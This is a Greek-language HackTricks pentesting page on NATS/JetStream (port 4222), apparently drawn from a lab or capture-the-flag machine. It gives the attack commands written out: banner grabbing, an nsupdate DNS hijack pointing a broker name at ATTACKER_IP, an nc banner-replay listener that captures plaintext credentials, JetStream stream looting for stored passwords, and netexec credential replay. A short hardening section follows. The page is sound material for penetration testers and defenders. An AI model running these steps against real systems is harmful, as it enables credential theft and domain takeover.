4222 - Pentesting NATS / JetStream

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

NATS είναι ένας υψηλής απόδοσης δίαυλος μηνυμάτων που χρησιμοποιεί ένα απλό text-based πρωτόκολλο: ο server μεταδίδει ένα INFO { ... } JSON banner αμέσως μετά τη σύνδεση TCP, και ο client απαντά με ένα CONNECT {"user":"USERNAME","pass":"PASSWORD",...} frame ακολουθούμενο από προαιρετικές εντολές PING/PUB/SUB. JetStream προσθέτει primitives επιμονής (Streams & Consumers) πάνω στην ίδια θύρα TCP (4222/tcp). TLS και authentication είναι προαιρετικά, οπότε πολλές εσωτερικές εγκαταστάσεις λειτουργούν με plaintext AUTH.

  • Προεπιλεγμένη θύρα: 4222/tcp (4223+ για clustered routes)
  • Προεπιλεγμένα πεδία banner: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Ανίχνευση

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

Το INFO frame μπορεί επίσης να ανακτηθεί χειροκίνητα:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Εγκαταστήστε το επίσημο CLI (Go ≥1.21) για βαθύτερη αλληλεπίδραση:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Οι αποτυχίες αυθεντικοποίησης προκαλούν άμεσα nats: Authorization Violation, επομένως απαιτούνται έγκυρα creds για οποιοδήποτε ουσιαστικό RPC.

Απόσπαση credentials μέσω DNS/απομίμησης υπηρεσίας

  • Εντοπίστε παρωχημένες AD DNS εγγραφές για το broker hostname (π.χ. nats-svc.domain.local). Εάν η εγγραφή επιστρέψει NXDOMAIN, ένας χρήστης domain με χαμηλά προνόμια μπορεί να την αναδημιουργήσει χάρη στα default dynamic-update ACLs. Δείτε AD DNS Records abuse για υπόβαθρο.
  • Καταχωρήστε το hostname σε ένα IP που ελέγχεται από επιτιθέμενο:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Mirror το νόμιμο banner μία φορά, και μετά replay το σε κάθε συνδεόμενο client. Το NATS εμπιστεύεται την πρώτη γραμμή INFO που βλέπει, οπότε χρειάζεται μόνο να τη στείλουμε μέσω ενός listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Μόλις ένας εσωτερικός client επιλύσει το καταληφθέν όνομα, θα εκπέμψει ένα απλό κείμενο CONNECT frame που περιέχει το ζεύγος user / pass και διάφορα telemetry (client name, Go version, protocol level). Επειδή τίποτα πέρα από το INFO banner δεν απαιτείται, ακόμα και το nc αρκεί για να συλλέξετε μυστικά.
  • Για μεγαλύτερες συνεδρίες, τρέξτε τον επίσημο server τοπικά (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging ήδη δείχνει usernames· η αφαίρεση του redaction helper ή το sniffing της κίνησης με Wireshark αποκαλύπτει τον πλήρη κωδικό.

JetStream looting & password hunting

Μόλις ανακτηθεί οποιοδήποτε credential (π.χ. Dev_Account_A), αποθηκεύστε το ως CLI context για να αποφύγετε την επαναπληκτρολόγηση:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

Η ανακάλυψη του JetStream συνήθως ακολουθεί αυτό το μοτίβο:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Οι ομάδες streaming συχνά καταγράφουν συμβάντα authentication σε subjects όπως logs.auth. Εάν οι developers αποθηκεύσουν το raw JSON σε ένα JetStream stream, τα payloads μπορεί να περιλαμβάνουν plaintext AD usernames και passwords:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Τα retained secrets μπορούν στη συνέχεια να replayed εναντίον Kerberos-only services χρησιμοποιώντας netexec smb DC01 -u USER -p PASS -k, επιτρέποντας πλήρη συμβιβασμό του domain.

Hardening & detection

  • Enforce TLS (tls, tls_required, or mTLS via nkey/creds). Χωρίς κρυπτογράφηση, INFO/CONNECT leaks credentials to anyone on-path.
  • Pinpoint who can update DNS – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
  • Disable credential logging. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and apply deny_delete=false only to trusted operators.
  • Monitor for banner anomalies – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks